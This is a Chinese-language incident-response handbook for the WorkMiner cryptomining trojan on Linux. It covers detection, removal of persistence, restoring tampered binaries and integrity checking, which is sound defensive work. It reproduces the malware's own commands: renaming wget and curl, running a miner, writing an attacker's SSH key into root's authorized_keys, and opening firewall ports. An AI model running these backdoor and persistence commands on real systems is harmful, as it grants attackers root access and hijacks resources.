九维团队-青队（处置）| WorkMiner挖矿木马应急处置手册

top    #使用top命令能够显示系统中各个进程的资源占用情况，若系统中存在挖矿木马可以通过top命令及时发现。

ls -lai /proc/42101 | grep exe    #查看PID为42101进程的执行文件的所在目录，并列出详细信息。################ls -lai                          #将当前目录下所有文件的详细信息包括inode号全部列出来。/proc/PID                         #在/proc/目录下每一个进程都有一个相应的文件，包含重要信息。ls -lai /proc/PID                #可查看该PID下的所有详细信息。ls -lai /proc/PID | grep exe     #查看链接到进程的执行命令文件，并列出详细信息。################/proc/PID/cmdline                #用于开始进程的命令/proc/PID/cwd                     #当前进程工作目录的一个链接/proc/PID/environ                 #可用进程环境变量的列表/proc/PID/exe                     #正在进程中运行的程序的执行文件/proc/PID/fd                     #进程打开的每一个文件的链接/proc/PID/mem                     #进程在内存中的内容/proc/PID/stat                     #进程的状态信息/proc/PID/statm                     #进程的内存使用信息

kill -9 42101  #强制杀死该挖矿进程

top

cat /etc/crontab

sh -c mv /usr/bin/wget /usr/bin/wget1&    #将wget命令重命名为wget1sh -c mv /usr/bin/curl /usr/bin/curl1&    #将curl命令重命名为curl1

chmod +x /tmp/xmr       #给xmr添加执行权限xmr                     #运行xmr

sh -c mkdir -p /usr/.work

sh -c echo >> /root/.ssh/authorized_keys      #创建/root/.ssh/authorized_keyssh 600 /root/.ssh/authorized_keys             #赋予600权限sh -c echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc3BlbiQaznPT8TScrs9YIzmrpI9Lpa4LtCjB5z0LuQ4o6XwvzomxAixn2F1jaUl175Cxcg3PmUsPOLE+WeWicKqL2YZ46SotjZgnS6JjXpuZVi7V0DSiXu0itlwWDC9m8huBvUBSIsDCsgb9OeG6rlrCyZgTW+qZciK+KZ8rwlFp3CFyxoF2122ueOnl5pAUCy1iHqGun03dMdUxA1d3KnxSZ3NQrYiH69dc8/YhV4SriOW9psc0pv9KeBLF0OXHtEAdbnSlwfk2uTjjBMK0nDidl7wS52Ygi/H4+P+4EXkSzf4Jj4/L6P3c5rLC3/l3RFdo1T7EQ8fH6NsTYJNZ7 root@u911" >> /root/.ssh/authorized_keys                #将公钥写入/root/.ssh/authorized_keys实现免密登录

iptables -I INPUT -p tcp --dport 8012 -j ACCEPT iptables -I OUTPUT -p tcp --sport 8012 -j ACCEPT iptables -I PREROUTING -t nat -p tcp --dport 8012 -j ACCEPT iptables -I INPUT -p udp --dport 2051 -j ACCEPT iptables -I OUTPUT -p udp --sport 2051 -j ACCEPT iptables -I PREROUTING -t nat -p udp --dport 2051 -j ACCEPT iptables -I POSTROUTING -t nat -p udp --sport 2051 -j ACCEPT

xmr.crypto-pool.fr       #矿池171.7.XXX.XX            #境外恶意IP194.58.XXX.XX              #境外恶意IP41.88.XXX.XX                 #境外恶意IP84.54.XXX.XX             #境外恶意IP

/etc/rc.d/rc.local   /root/.ssh/authorized_keys   /tmp/config.json   /tmp/xmr                          /tmp/secure.sh                   /tmp/auth.sh                        /var/spool/cron/root             /etc/crontab

/etc/rc.d/rc.local      #/etc/rc.d/init.d/目录下的脚本就类似于windows中的注册表，在系统启动的时候某些指定脚本将被执行。

/root/.ssh/authorized_keys     #通过/root/.ssh/authorized_keys文件可实现ssh免密登录

/tmp/config.json       #xmrig挖矿配置文件

/tmp/secure.sh         #封禁爆破IP/tmp/auth.sh          #封禁爆破IP

xmr

/tmp/config.json      #挖矿配置文件/tmp/xmr        #挖矿程序  /tmp/secure.sh        #挖矿木马创建的恶意脚本文件/tmp/auth.sh       #挖矿木马创建的恶意脚本文件/usr/.work            #由恶意程序创建的文件夹，文件夹中均为挖矿木马相关的程序

/root/.ssh/authorized_keys    #删除挖矿木马添加的ssh公钥/etc/rc.d/rc.local        #删除挖矿木马添加的开机启动项/var/spool/cron/root      #删除挖矿木马添加的计划任务 /etc/crontab          #删除挖矿木马添加的计划任务

mv /usr/bin/wget1 /usr/bin/wgetmv /usr/bin/curl1 /usr/bin/curl

iptables -I INPUT -p tcp --dport 8012 -j DROP iptables -I OUTPUT -p tcp --sport 8012 -j DROP iptables -I INPUT -p udp --dport 2051 -j DROP iptables -I OUTPUT -p udp --sport 2051 -j DROP

/etc/rc.d/rc.local       #该文件类似于Windows中的注册表，在系统启动的时候该文件下的脚本将被执行。

/root/.ssh/authorized_keys  #authorized_keys 是linux 操作系统下，专门用来存放公钥的地方，只要公钥放到了服务器的正确位置，并且拥有正确的权限，即可私钥，免密登录linux服务器。

/var/spool/cron/root         #计划任务:这个目录是以账号来区分每个用户自己的执行计划 /etc/crontab                 #计划任务:系统执行计划，需要在五个*后面加上用户

/usr/          #/usr/目录是linux系统核心所在，包含了所有的共享文件，涵盖了二进制文件，各种文档，各种头文件，还有各种库文件，还有诸多程序等等/usr/.work     #WorkMiner挖矿木马就在/usr/目录下创建了该隐藏文件夹，需重点排查。

iptabels -nv -L       #使用该命令可查看是否有额外的TCP和UDP端口开放

/usr/bin      #/usr/bin下存放一些用户的基本命令如wget,curl等/usr/bin/wget     #查看wget命令是否被修改为wget1，若被修改则可能是WorkMiner挖矿木马，仅作为参考不能作为唯一依据。/usr/bin/curl #查看curl命令是否被修改为curl1，若被修改则可能是WorkMiner挖矿木马，仅作为参考不能作为唯一依据。

#直接安装aide yum install aide -y #生产初始化数据库 sudo aide --init #根据配置文件命名规则生成新的数据库文件，需要重命名，以便AIDE读取。 sudo mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz 

sudo aide --check 

wget https://busybox.net/downloads/binaries/1.21.1/busybox-x86_64 --no-check-certificatechmod +x busybox-x86_64mv busybox-x86_64 /usr/local/bin/busybox top

cp top top.bakcp top.lanigiro.bak

mv top top.rm

lsattr top

chattr -i topchattr top.lanigiro

rpm -qa|grep e2fsprogs  #查看e2fsprogs包是否存在（可能会显示存在，但还是依旧无法使用chattr命令）

yum install e2fsprogs     #可能会显示e2fsprogs已经被安装了，但是依旧无法使用chattr命令

yum install e2fsprogs-1.42.9-19.el7.x86_64  （若还是无法使用，可使用上一步查询到的具体的e2fsprogs包名安装即可）

mv top top.rmmv top.lanigiro top